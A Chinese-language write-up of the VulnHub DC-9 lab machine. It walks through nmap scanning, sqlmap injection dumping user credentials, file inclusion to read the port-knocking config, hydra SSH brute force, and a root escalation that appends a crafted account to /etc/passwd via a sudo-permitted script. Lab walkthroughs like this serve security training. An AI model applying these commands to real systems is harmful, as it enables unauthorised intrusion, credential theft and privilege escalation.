环境配置

vulnhub 下载此靶机,下载地址如下:

1
https://download.vulnhub.com/dc/DC-9.zip

将靶机设置为 NAT 模式,开机即可,配置说明如下:

1
2
攻击机ip:192.168.52.128
靶机ip:192.168.52.136

信息收集

端口扫描

首先使用 Nmap 的 Ping 扫描快速发现活跃主机,发现靶机 ip 为 192.168.52.136

1
nmap -sP 192.168.52.0/24

使用 Nmap 全面扫一下开放的端口和运行的服务,这里不能用 -sT 参数,因为部分端口会被 iptables 规则过滤,使用 -sS 半开放扫描才能扫到 22 端口

1
nmap -sS -A -p1-65535 -T4 -O -sV 192.168.52.136

扫描结果如下:系统开放了一个 HTTP 服务(80 端口)、一个 filtered 的 SSH 服务(22 端口)

1
2
3
4
5
PORT   STATE    SERVICE VERSION
22/tcp filtered ssh
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Example.com - Staff Details - Welcome

漏洞利用

SQL注入

在搜索界面处存在 sql 注入漏洞,burp 抓包测试,将所有用户都查出来了

先将 burp 的请求包保存到 url.txt 中,用 sqlmap 工具爆数据库,表,数据字段,命令如下:

1
python sqlmap.py -r url.txt -p search -D Staff -T Users --dump

注入得到账号密码,sqlmap 还自动把 hash 解了,拿到账号密码 admin/transorbital1

登陆后页面中显示文件不存在,猜测存在文件包含漏洞,使用 file 参数来测试,成功读取到系统文件

端口敲门服务

文件包含之后无法进行日志包含,可能更改了默认日志位置,ssh 端口是 filtered 状态,可能开启了端口敲门服务。默认的配置文件路径为:/etc/knockd.conf,尝试读取该服务的配置文件

发现 ssh 服务开放的敲门顺序 sequence = 7469,8475,9842

使用 knock 工具依次访问这三个端口,可以看到成功开启了ssh端口:

1
2
knock 192.168.52.136 7469 8475 9842
nmap -sS 192.168.52.136

密码爆破

SQL 注入还有另一个数据库,爆破这个数据库拿到账号密码表

1
python sqlmap.py -r url.txt -p search -D users -T UserDetails -C username,password --dump

将两个表分别保存为 users.txt 和 passwords.txt,使用 hydra 爆破 ssh 账号密码,得到三个账号密码

1
2
3
4
5
6
hydra -L users.txt -P passwords.txt ssh://192.168.52.136

[DATA] attacking ssh://192.168.52.136:22/
[22][ssh] host: 192.168.52.136 login: chandlerb password: UrAG0D!
[22][ssh] host: 192.168.52.136 login: joeyt password: Passw0rd
[22][ssh] host: 192.168.52.136 login: janitor password: Ilovepeepee

依次登陆这三个账号,在 janitor 家目录下又看到一部分密码

将这部分密码再加到 passwords.txt 里重新爆破 ssh 账号密码,得到了一个新的账号密码

1
[22][ssh] host: 192.168.52.136   login: fredf   password: B4-Tru3-001

权限提升

登陆后 sudo - l 查看当前用户允许的 sudo 命令

发现 /opt/devstuff/dist/test/test 文件可以无密码以 root 权限执行

直接 sudo 运行提示 test.py 参数错误,在 /opt/devstuff/ 路径找到 test.py 文件,查看文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#!/usr/bin/python

import sys

if len (sys.argv) != 3 :
print ("Usage: python test.py read append")
sys.exit (1)

else :
f = open(sys.argv[1], "r")
output = (f.read())

f = open(sys.argv[2], "a")
f.write(output)
f.close()

脚本是将第一个参数指定的文件的内容写入第二个参数指定的文件中,那就有思路了,构造一个 root 权限的账户写入 /etc/passwd 里,这样就能以 root 权限登陆了

但是这里不能无密码登陆,这里用靶机自带的 openssl 生成一个密码

1
2
openssl passwd 123456
Bt2jDBBTpCznc

然后构造 root 权限的账户,sudo 执行脚本即可成功创建账户,登陆,成功提权

1
2
echo "liebert77:Bt2jDBBTpCznc:0:0::/root:/bin/bash" >> 1.txt
sudo /opt/devstuff/dist/test/test 1.txt /etc/passwd